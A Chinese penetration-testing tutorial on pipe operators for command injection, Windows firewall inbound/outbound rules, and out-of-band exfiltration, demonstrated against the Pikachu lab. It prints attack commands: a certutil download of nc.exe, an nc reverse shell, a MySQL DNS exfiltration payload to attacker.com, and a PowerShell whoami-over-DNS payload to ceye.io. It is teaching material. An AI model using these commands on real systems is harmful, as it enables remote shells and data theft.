010502管道符_防火墙出入站_不回显带外-渗透命令-基础入门-网络安全
文章目录
- 1 管道符
- 2 防火墙出入站
- 3 不回显外带
- 典型场景
- 常见OOB通道
- 实现示例(以DNS为例)
- 1. 利用DNS外带数据
- 2. 使用工具监听
- 防御建议
- 扩展:无回显OOB自动化工具
- 注意事项
- 演示
- 结语
1 管道符
| (管道符号)
||(逻辑或)
&&(逻辑与)
&(后台任务符号)
windows:| & || &&
Linux: `| || & && ; ```,````和;为linux特有
linux演示:
案例演示:pikachu ping命令执行反向链接 ,
分析:
-
判断为windows系统
-
windows没有自带的nc命令
-
想办法上传nc
ping 172.0.0.1 | certutil.exe -urlcache -split -f http://192.168.0.104:80/nc.exe l:\\nc.exe ping 172.0.0.1 |
-
反弹权限
完成上述步骤后,执行如下命令
# windows
ping 127.0.0.1 | l:\\nc.exe -e cmd 192.168.0.105 5566
# linux
ncat -lvvp 5566
如下图所示:
2 防火墙出入站
这里我们以windows防火墙为例,测试连接。
“防火墙出入站”指的是防火墙规则中数据流动的方向,核心是以防火墙所保护的网络或主机为参照点。
简单来说:
- 入站 (Inbound / Ingress):
- 方向: 从外部网络(比如互联网)流向防火墙保护的内部网络或主机。
- 例子:
- 互联网上的用户访问你公司的网站服务器。
- 外部人员尝试通过 SSH 连接你的内部服务器。
- 来自互联网的电子邮件到达你的邮件服务器。
- 防火墙规则作用: 控制谁可以访问你的内部资源以及访问哪些服务(端口)。这是防火墙最主要的防护功能,通常规则设置得比较严格(默认阻止大部分入站连接,只开放必要的服务)。
- 参照点: 数据是进入被保护的区域。
- 出站 (Outbound / Egress):
- 方向: 从防火墙保护的内部网络或主机流向外部网络(比如互联网)。
- 例子:
- 你办公室的电脑访问谷歌搜索。
- 你内部的服务器从外部软件仓库下载更新。
- 你的邮件服务器向外部发送电子邮件。
- 防火墙规则作用: 控制内部用户或设备可以访问外部哪些资源(IP、域名、端口、协议)。规则通常相对宽松(默认允许大部分出站连接),但也用于:
- 阻止访问恶意网站。
- 限制访问某些类型的网站(如社交媒体、游戏)。
- 防止内部恶意软件或受感染主机“回连”到外部命令控制服务器。
- 防止内部主机进行端口扫描等恶意行为。
- 参照点: 数据是离开被保护的区域。
关键区别总结:
特性 | 入站 (Inbound/Ingress) | 出站 (Outbound/Egress) |
---|---|---|
方向 | 进入受保护网络/主机 | 离开受保护网络/主机 |
来源 | 外部网络 (如互联网) | 内部网络/主机 |
目标 | 内部网络/主机 | 外部网络 (如互联网) |
主要目的 | 保护内部资源不被外部访问/攻击 | 控制内部资源对外部的访问 |
默认规则 | 通常较严格 (默认拒绝/阻止大部分连接) | 通常较宽松 (默认允许大部分连接) |
例子 | 访问网站服务器、远程桌面连接、接收邮件 | 浏览网页、下载文件、发送邮件、访问云服务 |
为什么理解出入站方向很重要?
- 精准配置规则: 创建防火墙规则时,必须明确指定规则是应用于入站流量还是出站流量,否则规则无效或达不到预期效果。
- 理解安全策略: 防火墙的安全策略核心就是定义“什么入站流量允许进来”和“什么出站流量允许出去”。
- 故障排查: 当网络连接出现问题时,判断是入站规则还是出站规则阻止了连接是解决问题的关键第一步。
- 合规性与审计: 许多安全标准和法规要求对出入站流量进行明确的控制、监控和审计。
简单记忆方法:
- 入站: 别人 (外部) 想进来访问你 (内部) 的东西。
- 出站: 你 (内部) 想出去访问别人 (外部) 的东西。
理解出入站方向是配置和管理任何防火墙(无论是硬件防火墙、软件防火墙、云防火墙还是主机防火墙)的基础。你需要根据你的安全需求,在出入站两个方向上分别设置允许或拒绝流量的规则。
windows开启防火墙之后,linux无法正向连接windows,即windows防火墙入站被限制。入站放行5566端口之后,正向连接正常,如下图所示:
出站方向同样如此,这里不再演示,因为严进宽出的策略,入站放行即使没有显示禁用5566端口,5566端口入站方向也是被禁止访问的。
3 不回显外带
当命令执行没有显示的回显时,我们不知道是否执行,执行结果是什么,此时可借助外部网站显示。
在网络安全或渗透测试中,“不回显带外”(Out-of-Band, OOB)通常指利用非直接回显的通道传输数据,常用于漏洞利用(如SQL注入、XXE、命令注入等)。以下是常见场景和实现思路:
典型场景
- 无回显漏洞利用
当攻击注入点不返回结果时(如盲注),通过OOB通道将数据外带。- 示例:
SQL盲注
中利用DNS请求外带数据库数据。
- 示例:
- 绕过防火墙/过滤
避免触发基于请求/响应的安全检测。 - 隐蔽数据泄露
通过DNS、HTTP、SMB等协议外传敏感信息。
常见OOB通道
协议 | 原理 | 工具 |
---|---|---|
DNS | 目标发起DNS查询,攻击者从DNS日志中提取数据 | dnslog.cn , Burp Collaborator |
HTTP | 目标向攻击者服务器发送HTTP请求携带数据 | Python http.server , ngrok |
SMB | 目标访问攻击者伪造的SMB服务器 | Impacket smbserver.py |
实现示例(以DNS为例)
1. 利用DNS外带数据
-- SQL注入示例(MySQL)
LOAD_FILE(CONCAT('\\\\', (SELECT HEX(user())), '.attacker.com\\fake'));
- 目标向
{hex_data}.attacker.com
发起DNS查询,攻击者从日志中提取数据。
2. 使用工具监听
- 免费平台:访问 dnslog.cn 获取临时域名。
- 专业工具:Burp Suite 的
Collaborator
模块。
防御建议
- 输入严格过滤
禁止特殊字符(如\
,$
,|
)。 - 限制出站请求
防火墙规则限制服务器发起DNS/HTTP请求。 - 启用日志审计
监控异常DNS查询或外连行为。 - 最小化权限
数据库/服务使用低权限账户运行。
扩展:无回显OOB自动化工具
-
SQLMap:使用
--dns-domain
参数自动化OOB注入检测。sqlmap -u "http://target.com?id=1" --dns-domain=attacker.com
-
XXExploiter:专用于XXE OOB利用(GitHub)。
注意事项
- 合法性:未经授权测试属违法行为。
- 隐蔽性:实际攻击中可能被安全设备(如IDS)检测。
- 依赖环境:目标需能访问外网(如允许DNS解析)。
演示
这里dns我们利用第三方网站,有兴趣的可以自己搭建,有专门教程。
第一步:注释掉pikachu ping命令执行中结果回显,如下图所示
第二步:下面连接3注册账号,payloads页面找到对应系统的需要执行的命令,我们的是windows
ping 127.0.0.1 | powershell $x=whoami;$x=$x.Replace('\','xxx');$y='.xxx.ceye.io';$z=$x+$y;ping $z
- xxx:为自己配置
效果如下图所示:
结语
❓QQ:806797785
⭐️仓库地址:https://gitee.com/gaogzhen
⭐️仓库地址:https://github.com/gaogzhen
[1]全栈网络安全 | 渗透测试 | 高级红蓝对抗 V2024最新版[CP/OL].
[2]棱角社区[CP/OL].
[3]CEYE[CP/OL].